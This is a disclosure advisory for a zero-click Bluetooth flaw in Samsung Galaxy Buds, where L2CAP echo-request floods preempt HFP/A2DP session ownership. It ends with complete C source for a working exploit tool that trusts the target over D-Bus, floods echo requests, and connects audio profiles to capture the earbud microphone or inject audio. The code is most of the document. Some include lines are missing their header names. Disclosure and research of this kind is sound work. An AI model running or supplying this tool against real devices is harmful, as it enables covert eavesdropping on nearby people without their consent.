MESSAGE HASH (SHA-256): b21f37cdafa7f266a90f694b395bde77aba0a42834cf153f220ceb626ea6564a
=========== MESSAGE START ===========
# Sticky Door
### Zero-Click HFP/A2DP Takeover via L2CAP Session Preemption
#### Exploiting Seamless Earbud Connection Arbitration to Bypass Pairing Trust Boundaries
**CVSS (Estimate) v3.1: 7.4 (High)**
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
> This advisory describes a Bluetooth session-arbitration flaw affecting Samsung Galaxy Buds devices. The issue was reported to Samsung Mobile Security and ultimately classified as **"Working as Intended"** due to the interaction with the **Auto Switching** and **Seamless Earbud Connection** features.
## Executive Summary
A Bluetooth Classic session-management flaw allows a nearby, previously unpaired device to influence connection arbitration and obtain control of active audio profiles without user interaction.
During an active audio session, an attacker can trigger repeated L2CAP interactions that cause the earbuds to relinquish ownership of HFP and/or A2DP sessions and transfer control to the attacker's device.
This occurs without pairing mode, hardware pairing interaction, user confirmation, or an existing trust relationship.
## Vulnerability Classification
**Type:** Authentication Bypass / Session Ownership Violation
**Component:**
- Bluetooth RTOS Stack
- L2CAP Session Handling
- Profile Arbitration Logic
- Seamless Earbud Connection
- Auto Switching Infrastructure
**Attack Vector:** Bluetooth Classic (Adjacent Network)
## Affected Devices
### Confirmed
- Galaxy Buds FE
- Galaxy Buds3 Pro
### Potentially Affected
Additional Galaxy Buds models utilizing the same Bluetooth stack and connection arbitration architecture may also be vulnerable.
## Tested Firmware
### Galaxy Buds FE (SM-R400N)
`R400NXXU0AYF1` (June 2025 Rev.1)
### Galaxy Buds3 Pro (SM-R630)
`R630XXU0AYJ1` (October 2025 Rev.1)
## What Is Being Exploited?
The attack does not target Bluetooth pairing itself.
Instead, it targets the logic responsible for determining which device currently owns the active audio session.
Samsung's Auto Switching and Seamless Earbud Connection features appear to allow active ownership of HFP and A2DP profiles to be influenced through unauthenticated L2CAP activity before sufficient validation of session ownership occurs.
As a result, the hardware pairing button protects the normal pairing workflow but does not appear to protect the underlying profile arbitration mechanism.
## Technical Description
### Phase 1: L2CAP Session Influence
Repeated L2CAP Echo Requests are transmitted toward the target while the victim is actively using the earbuds.
Observed effects:
- Audio stuttering
- Playback interruption
- HFP instability
- Connection state fluctuations
### Phase 2: Session Preemption
The earbuds may:
- Drop the active host session
- Reassign profile ownership
- Establish an active relationship with the attacker's device
### Phase 3: Unauthorized Profile Access
#### HFP
The attacker may receive microphone audio from the earbuds.
#### A2DP
The attacker may inject arbitrary audio into the victim's earbuds.
## Impact
### Privacy Impact
An attacker within Bluetooth range may obtain access to live microphone audio transmitted through HFP.
### Integrity Impact
An attacker may inject arbitrary audio through A2DP.
### Security Model Impact
The issue undermines the protection provided by Samsung's hardware pairing key by allowing profile ownership changes through the connection arbitration layer.
## Vendor Response
Samsung classified the issue as **"Working as Intended"** and stated that disabling Seamless Earbud Connection prevents the attack scenario.
The author disagrees with this assessment because the observed behavior allows a previously untrusted device to obtain access to active audio profiles without user authorization under default settings.
# Code:
dbus.c:
```c
#include "dbus.h"
#include
#include
#include
void Bluetooth_AddressToPath(const char *addr, char *out, const size_t len) {
// Here we assume hci0 for now
snprintf(out, len, "/org/bluez/hci0/dev_");
const size_t base = strlen(out);
for (size_t i = 0; addr[i] && base + i < len - 1; i++) {
out[base + i] = (addr[i] == ':') ? '_' : addr[i];
}
out[base + strlen(addr)] = '\0';
}
int Bluetooth_SetTrusted(const char *addr, const int trusted) {
sd_bus *bus = NULL;
sd_bus_error err = SD_BUS_ERROR_NULL;
int r = sd_bus_open_system(&bus);
if (r < 0) return r;
char path[128];
Bluetooth_AddressToPath(addr, path, sizeof(path));
r = sd_bus_set_property(
bus,
"org.bluez",
path,
"org.bluez.Device1",
"Trusted",
&err,
"b",
trusted
);
sd_bus_error_free(&err);
sd_bus_unref(bus);
return r;
}
int Bluetooth_DeviceMethod(const char *addr, const char *method) {
sd_bus *bus = NULL;
sd_bus_error err = SD_BUS_ERROR_NULL;
sd_bus_message *msg = NULL;
int r = sd_bus_open_system(&bus);
if (r < 0) return r;
char path[128];
Bluetooth_AddressToPath(addr, path, sizeof(path));
r = sd_bus_call_method(
bus,
"org.bluez",
path,
"org.bluez.Device1",
method,
&err,
&msg,
NULL
);
sd_bus_error_free(&err);
sd_bus_message_unref(msg);
sd_bus_unref(bus);
return r;
}
int Bluetooth_ConnectProfile(const char *addr, const char *uuid) {
sd_bus *bus = NULL;
sd_bus_error err = SD_BUS_ERROR_NULL;
char path[128];
Bluetooth_AddressToPath(addr, path, sizeof(path));
sd_bus_open_system(&bus);
int r = sd_bus_call_method(bus, "org.bluez", path, "org.bluez.Device1",
"ConnectProfile", &err, NULL, "s", uuid);
sd_bus_error_free(&err);
sd_bus_unref(bus);
return r;
}
int Bluetooth_ConnectDevice(const char *addr) {
return Bluetooth_DeviceMethod(addr, "Connect");
}
int Bluetooth_DisconnectDevice(const char *addr) {
return Bluetooth_DeviceMethod(addr, "Disconnect");
}
int Bluetooth_TrustDevice(const char *addr) {
return Bluetooth_SetTrusted(addr, 1);
}
int Bluetooth_UntrustDevice(const char *addr) {
return Bluetooth_SetTrusted(addr, 0);
}
```
dbus.h:
```c
#pragma once
#include
#define A2DP_SINK_UUID "0000110b-0000-1000-8000-00805f9b34fb"
#define HFP_AG_UUID "0000111f-0000-1000-8000-00805f9b34fb"
#define HSP_AG_UUID "00001112-0000-1000-8000-00805f9b34fb"
void Bluetooth_AddressToPath(const char *addr, char *out, size_t len);
int Bluetooth_SetTrusted(const char *addr, int trusted);
int Bluetooth_DeviceMethod(const char *addr, const char *method);
int Bluetooth_ConnectProfile(const char *addr, const char *uuid);
int Bluetooth_ConnectDevice(const char *addr);
int Bluetooth_DisconnectDevice(const char *addr);
int Bluetooth_TrustDevice(const char *addr);
int Bluetooth_UntrustDevice(const char *addr);
```
logger.c:
```c
#include "logger.h"
#include
#include
#include
#include
static LogLevel g_CurrentLevel = LOG_DEBUG;
static const char *level_str[] = {
"DEBUG",
"INFO ",
"WARN ",
"ERROR"
};
static const char *level_color[] = {
"\x1b[90m", // gray
"\x1b[32m", // green
"\x1b[33m", // yellow
"\x1b[31m" // red
};
#define COLOR_RESET "\x1b[0m"
void LogSetLevel(const LogLevel level) {
g_CurrentLevel = level;
}
void Log(const LogLevel level, const char* file, const int line, const char* fmt, ...) {
if (level < g_CurrentLevel) return;
time_t now = time(NULL);
struct tm *t = localtime(&now);
char timeBuf[20];
strftime(timeBuf, sizeof(timeBuf), "%H:%M:%S", t);
FILE *out = (level == LOG_ERROR) ? stderr : stdout;
fprintf(out, "%s[%s] %s ",
level_color[level],
timeBuf,
level_str[level]);
va_list args;
va_start(args, fmt);
vfprintf(out, fmt, args);
va_end(args);
#ifdef DEBUG
fprintf(out, " (%s:%d)", file, line);
#else
(void)file;
(void)line;
#endif
fprintf(out, "%s\n", COLOR_RESET);
}
```
logger.h:
```c
#pragma once
#include
typedef enum {
LOG_DEBUG,
LOG_INFO,
LOG_WARN,
LOG_ERROR
} LogLevel;
void Log(LogLevel level,
const char *file,
int line,
const char *fmt, ...);
#define LOG_DEBUG(...) Log(LOG_DEBUG, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_INFO(...) Log(LOG_INFO, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_WARN(...) Log(LOG_WARN, __FILE__, __LINE__, __VA_ARGS__)
#define LOG_ERROR(...) Log(LOG_ERROR, __FILE__, __LINE__, __VA_ARGS__)
```
main.c:
```c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "dbus.h"
#include "logger.h"
typedef struct {
int sock;
char addr[18];
volatile int running;
int mode; // 1: A2DP, 2: HFP, 3: Both
} STL2CP_ExploitContext;
struct L2CAP_Echo_Request {
uint8_t code;
uint8_t ident;
uint16_t len;
} __attribute__((packed));
static STL2CP_ExploitContext* activeCtx = NULL;
volatile int g_STL2CP_KeepRunning = 1;
void STL2CP_HandleSigInt(const int sig) {
(void)sig;
g_STL2CP_KeepRunning = 0;
}
STL2CP_ExploitContext* STL2CP_StartExploit(const char* addr, int mode);
void STL2CP_StopExploit(STL2CP_ExploitContext* ctx);
static void* STL2CP_HeartbeatLoop(void* arg);
int main(int argc, char** argv) {
if (geteuid() != 0) {
LOG_ERROR("Please run as sudo!");
return 1;
}
if (argc < 3) {
LOG_ERROR("Usage: %s ", argv[0]);
LOG_INFO("Modes: \n 1: A2DP Only (Audio Output)\n 2: HFP Only (Microphone)\n 3: Both");
return 1;
}
const char* targetAddr = argv[1];
int mode = atoi(argv[2]);
if (mode < 1 || mode > 3) {
LOG_ERROR("Invalid mode. Use 1, 2, or 3.");
return 1;
}
LOG_INFO("== STL2CP Exploit ==");
LOG_INFO("Target: %s | Mode: %d", targetAddr, mode);
signal(SIGINT, STL2CP_HandleSigInt);
activeCtx = STL2CP_StartExploit(targetAddr, mode);
if (!activeCtx) {
LOG_ERROR("Failed to start exploit");
return 1;
}
while (g_STL2CP_KeepRunning) {
sleep(1);
}
STL2CP_StopExploit(activeCtx);
return 0;
}
STL2CP_ExploitContext* STL2CP_StartExploit(const char* addr, int mode) {
LOG_INFO("Trusting device %s...", addr);
Bluetooth_TrustDevice(addr);
const int sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP);
struct sockaddr_l2 sockAddr = { .l2_family = AF_BLUETOOTH };
str2ba(addr, &sockAddr.l2_bdaddr);
LOG_INFO("Anchoring L2CAP link...");
if (connect(sock, (struct sockaddr *)&sockAddr, sizeof(sockAddr)) < 0) {
LOG_ERROR("Link anchoring failed.");
close(sock);
return NULL;
}
LOG_INFO("Triggering BlueZ connection...");
if (!Bluetooth_ConnectDevice(addr)) {
LOG_ERROR("DBus Connection failed.");
return NULL;
}
usleep(100000);
if (mode == 1 || mode == 3) {
LOG_INFO("Negotiating A2DP Audio...");
if (!Bluetooth_ConnectProfile(addr, A2DP_SINK_UUID)) {
LOG_ERROR("A2DP failed.");
}
}
if (mode == 2 || mode == 3) {
LOG_INFO("Negotiating HFP/HSP (Microphone)...");
if (!Bluetooth_ConnectProfile(addr, HFP_AG_UUID)) {
LOG_WARN("HFP failed, trying HSP...");
Bluetooth_ConnectProfile(addr, HSP_AG_UUID);
}
}
STL2CP_ExploitContext* ctx = malloc(sizeof(STL2CP_ExploitContext));
ctx->sock = sock;
ctx->running = 1;
ctx->mode = mode;
snprintf(ctx->addr, sizeof(ctx->addr), "%s", addr);
pthread_t tid;
pthread_create(&tid, NULL, STL2CP_HeartbeatLoop, ctx);
pthread_detach(tid);
return ctx;
}
static void* STL2CP_HeartbeatLoop(void* arg) {
STL2CP_ExploitContext* ctx = arg;
struct L2CAP_Echo_Request req = { .code = 0x08, .len = 0 };
uint8_t id = 1;
LOG_INFO("EXPLOIT SUCCESS! YOURE IN!");
LOG_INFO("Heartbeat thread started for %s - Press CTRL+C to stop and cleanup.", ctx->addr);
while (ctx->running) {
if (send(ctx->sock, &req, sizeof(req), 0) < 0) {
LOG_ERROR("Link lost for %s. Device likely rebooted or out of range.", ctx->addr);
break;
}
// This timing is critical otherwise the connection drops
usleep(100000);
req.ident = id++;
if (id == 0) id = 1;
}
LOG_INFO("Heartbeat loop finished for %s", ctx->addr);
close(ctx->sock);
ctx->sock = -1;
return NULL;
}
void STL2CP_StopExploit(STL2CP_ExploitContext* ctx) {
if (!ctx) return;
ctx->running = 0;
LOG_INFO("Cleaning up...");
Bluetooth_DisconnectDevice(ctx->addr);
Bluetooth_UntrustDevice(ctx->addr);
free(ctx);
LOG_INFO("Done!");
}
```
=========== MESSAGE END ===========